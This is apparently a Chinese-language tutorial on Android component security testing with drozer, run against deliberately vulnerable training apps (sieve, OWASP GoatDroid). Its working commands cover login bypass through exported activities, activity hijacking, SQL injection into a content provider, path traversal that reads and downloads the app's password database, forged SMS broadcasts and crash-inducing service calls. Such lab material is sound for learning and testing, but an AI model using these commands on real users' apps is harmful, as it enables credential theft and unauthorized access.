APP测试系列-四大组件安全测试
一、前言
之前的文章介绍了 APP 抓包的几种方法,解决了抓包问题,其余 APP 功能点测试与 WEB 端测试如出一辙。本文主要介绍 Android APP 测试中四大组件相关测试手段。
Android 四大组件
Android 四大组件分别是 Activity、Content Provider、Broadcast Receiver 以及 Service
1 | | 组件名称 | 具体用途 | |
二、环境搭建
drozer 安装
drozer 安装在 Windows 下,安装环境必须为 python 2.7,下载地址 Github、官网
1、安装 drozer 前先安装 python 2.7,安装时选择自动添加环境变量
安装完成,测试是否成功安装
2、安装 dorzer ,下载 drozer 后点击安装,由于系统没有识别到 Python2.7,所以我们需要指定 python2.7 路径,若系统能识别到,则选择 python2.7 即可
drozer 成功安装后,软件位于 Python 2.7 下的 Scripts 目录下
3、手机安装 drozer-agent-2.3.4.apk
,点击下载 安装完成后,测试是否可正常使用。首先进入 dorzer-agent app 点击右下按钮,开启端口转发功能。然后使用具备数据传输的 USB 线
,手机连接电脑,点击文件传输使电脑可连接至手机
使用 adb 软件进行端口转发,使手机与电脑可进行通信,命令:adb forward tcp:31415 tcp:31415
点击下载adb
注意:当使用 adb 进行端口转发,若出现报错,error: no devices/emulators found
,原因是我们手机没有开启开发者模式,只需打开手机开发者模式,开启 USB 调试功能,根据自身手机品牌自行进行操作,开启后再次再次执行命令 adb.exe forward tcp:31415 tcp:31415
即可。
最后进入 Python27\Scripts 目录下执行命令开启 drozer 与手机连接通道 drozer.bat console connect
,如果报错 ImportError: No module named google.protobuf
,则需要安装依赖。
cmd 命令行执行逐一安装即可
1 | pip2 install protobuf -i https://pypi.tuna.tsinghua.edu.cn/simple |
安装依赖后再次执行命令 drozer.bat console connect
,drozer 成功连接手机,drozer 启动成功
至此 drozer 安装及测试已全部完成。
三、四大组件测试
Activity
由上面我们知道 Activity 为展示组件,用于向用户直接展示一个界面,而且可以接受用户的输入信息从而进行交互。具体漏洞类型及危害如下:
1 | | 漏洞种类 | 危害 | |
越权绕过
在 Android 系统中,Activity 组件默认是不导出的,如果 AndroidManifest.xml
中设置了 exported = "true"
这样的关键值或者是添加了<intent-filter>
这样的属性,那么此时 Activity 组件是导出的,就会引发越权绕过或者是泄露敏感信息等的安全风险。(注释:导出-组件可以被外部应用调用; AndroidManifest.xml-应用清单,每个Android APP必备的文件配置,反编译后可查看其详细配置代码)
例子:测试样本 sieve.apk,下载地址:https://github.com/as0ler/Android-Examples
1、手机安装 sieve.apk、drozer-agent.apk,sieve app 界面如下图左,按照上面文章 drozer 安装部分,配置好相关测试环境,手机端点击 drozer 右下角打开代理,利用 adb 进行端口转发,界面如下图右
adb开启端口转发:adb.exe forward tcp:31415 tcp:31415
drozer 连接手机:drozer.bat console connect
2、尝试利用 drozer 越权绕过 sieve app 登录界面
列出手机程序中所有的 APP 包名
1 | run app.package.list |
如上图出现文字乱码,解决方案如下:
Everything 搜索,找到位于 Python27 目录下的 package.py
添加如下代码
1 | import sys |
360、362行添加字母 u
重新启动 drozer,再次执行命令 run app.package.list
列出所有手机已安装程序的包名
由于列出的包名众多,无法正确分辨需测试的 APP 包名为哪个,我们转用 GetAPKInfo 工具来获取 sieve app 包名, java -jar GetAPKInfo.jar C:\Users\Boom\Desktop\sieve.apk
然后 drozer 直接搜索包名信息 com.mwr.example.sieve,该APP具体信息如下
我们直接去查询目标应用的攻击面,通过下图可知 Activity 有3个组件是可以导出的
1 | run app.package.attacksurface com.mwr.example.sieve |
查看具体可导出的 Activity 组件信息
1 | run app.activity.info -a com.mwr.example.sieve |
调用组件,实现登录绕过界面(由于测试样本不支持高版本 Android,所以这里使用 MuMu 模拟器进行测试,实现绕过),其它 Activity 导出组件绕过测试只需更换组件名即可
1 | run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList |
钓鱼欺诈/Activity劫持
例子:劫持测试 APP 下载地址:https://github.com/yanghaoi/android_app
1、手机安装点击劫持软件 uihijackv2.0_sign.apk , drozer 开启端口转发,adb 连接 drozer
2、打开被测软件界面,这里被测软件也是使用 drozer,然后 Windows 通过 drozer 命令调用劫持软件 uihijackv2.0_sign,若 uihijackv2.0_sign 界面位于被测软件上,则存在漏洞(如下图),若被测页面无变化则不存在漏洞。
1 | run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity |
拒绝服务攻击
例子:测试 APP 下载地址:https://github.com/Funsiooo/Vuln_Bulid/blob/main/APP/OWASP-GoatDroid-0.9.zip
1、利用 drozer 直接查看暴露的组件,然后进行调用,查看是否出现程序崩溃情况。通过 GetAPKInfo 工具来获取 APP 包名为 org.owasp.goatdroid.fourgoats
2、安装 OWASP GoatDroid- FourGoats Android App.apk
软件,利用 drozer 查看其暴露组件
1 | run app.package.attacksurface org.owasp.goatdroid.fourgoats |
查看具体暴露组件
1 | run app.activity.info -a org.owasp.goatdroid.fourgoats |
3、调用组件,查看是否导致拒绝服务,若程序出现 程序崩溃
、已停止运行
等程序无法运行或自动退出行为则为攻击成功。查看例子:http://rui0.cn/archives/30 ,调用命令例子如下:
1 | run app.activity.start --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.activities.Main |
Conten Provid
数据共享组件,用于向其他组件乃至其他应用共享数据,由此可推算,该组件漏洞与数据相关。
1 | | 漏洞种类 | 危害 | |
信息泄露
1、依然使用 seive.apk 作为测试 app,但需要在第一次安装打开时需要设置账号密码
2、利用 drozer 查看 provider 数据组件具体的攻击面
1 | run app.provider.info -a com.mwr.example.sieve |
3、对 com.mwr.example.sieve.DBContentProvider
攻击面进行测试,列出 URI
1 | run app.provider.finduri com.mwr.example.sieve |
4、利用 drozer 扫描模块对列出的 URI 进行扫描,查看可访问的 URI ,三个 URI 可访问
1 | run scanner.provider.finduris -a com.mwr.example.sieve |
5、访问URI,查看具体内容 ,由下图可知,刚才我们所填的数据全部列了出来
1 | run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical |
SQL注入
1、进一步测试可访问的 URI 是否存在注入
1 | run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" |
出现语法错误,存在SQL注入
2、利用 drozer 内置注入扫描模块进行扫描,扫描存在注入
1 | run scanner.provider.injection -a com.mwr.example.sieve |
3、继续利用,列出所有数据表,得知数据库表有 name
、android_metadata
、Passwords
、Key
1 | run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" |
4、单独查看表中数据,例查询 Passwords
表数据
1 | run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Passwords;--" |
目录遍历
1、利用 drozer 自带模块扫描目录遍历,存在两个漏洞 content://com.mwr.example.sieve.FileBackupProvider/
,content://com.mwr.example.sieve.FileBackupProvider
2、对其 URI 进行文件读取
1 | run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts |
3、读取更多信息
1 | run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db |
4、下载文件 (C:\Users\oooo\Desktop\database.db为文件保存路径)
1 | run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\Users\\oooo\\Desktop\\database.db |
Broadcast Receiver
1 | | 漏洞种类 | 危害 | |
拒绝服务
1、查看针对 broadcast 数据组件具体的攻击面
1 | run app.broadcast.info -a org.owasp.goatdroid.fourgoats |
2、针对 broadcast 攻击面进行测试需要先找到相应的 action 名,由上图可知,broadcast 组件名称为 org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver 这边使用 jadx 进行反编译,查看 AndroidManifest.xml 寻找 action,关键搜索 .broadcastreceivers.SendSMSNowReceiver
1 | run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS |
未执行前
执行后,程序退出,导致拒绝服务
消息伪造(发送恶意广播)
1、查看针对 broadcast 数据组件具体的攻击面
1 | run app.broacast.info -a org.owasp.goatdroid.fourgoats |
2、利用 jadx 反编译 apk,查看 broadcast receivers 模块具体代码,审计 .broadcastreceivers.SendSMSNowReceiver 代码可知发送广播需要两个参数命令
action 名称为 org.owasp.goatdroid.fourgoats.SOCIAL_SMS
具体执行代码为
1 | run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 13800000000 --extra string message test |
Service
参考文章:Service(服务)是一个一种可以在后台执行长时间运行操作而没有用户界面的应用组件。服务可由其他应用组件启动(如Activity),服务一旦被启动将在后台一直运行,即使启动服务的组件(Activity)已销毁也不受影响。 此外,组件可以绑定到服务,以与之进行交互,甚至是执行进程间通信 (IPC)。
1 | | 漏洞种类 | 危害 | |
拒绝服务
1、查看针对 service 组件具体的攻击面
1 | run app.service.info -a org.owasp.goatdroid.fourgoats |
打开 FourGoats app 停留在首页界面,由于存漏洞,直接调用导致拒绝服务,APP程序自动退出,返回桌面
1 | run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService |
更多具体例子请参考文章:https://bbs.pediy.com/thread-269255.htm
四、扩展知识点
adb使用
adb查看连接设备的android日志
1 | //格式1:打印默认日志数据 |
APP模块说明
1 |
|
五、总结
文章编写断断续续,内容多为参考网上师傅们的文章,属于前人栽树,后人乘凉了,知识点也是好几年前的知识,一系列学习下来,扩展了 APP 测试攻击的思路,总体上测试基于 drozer 工具下进行测试,根据每个组件的特性进行单点突破,收获还是有的。
六、参考
1 | https://blog.yorek.xyz/android/paid/zsxq/week17-android-components/ |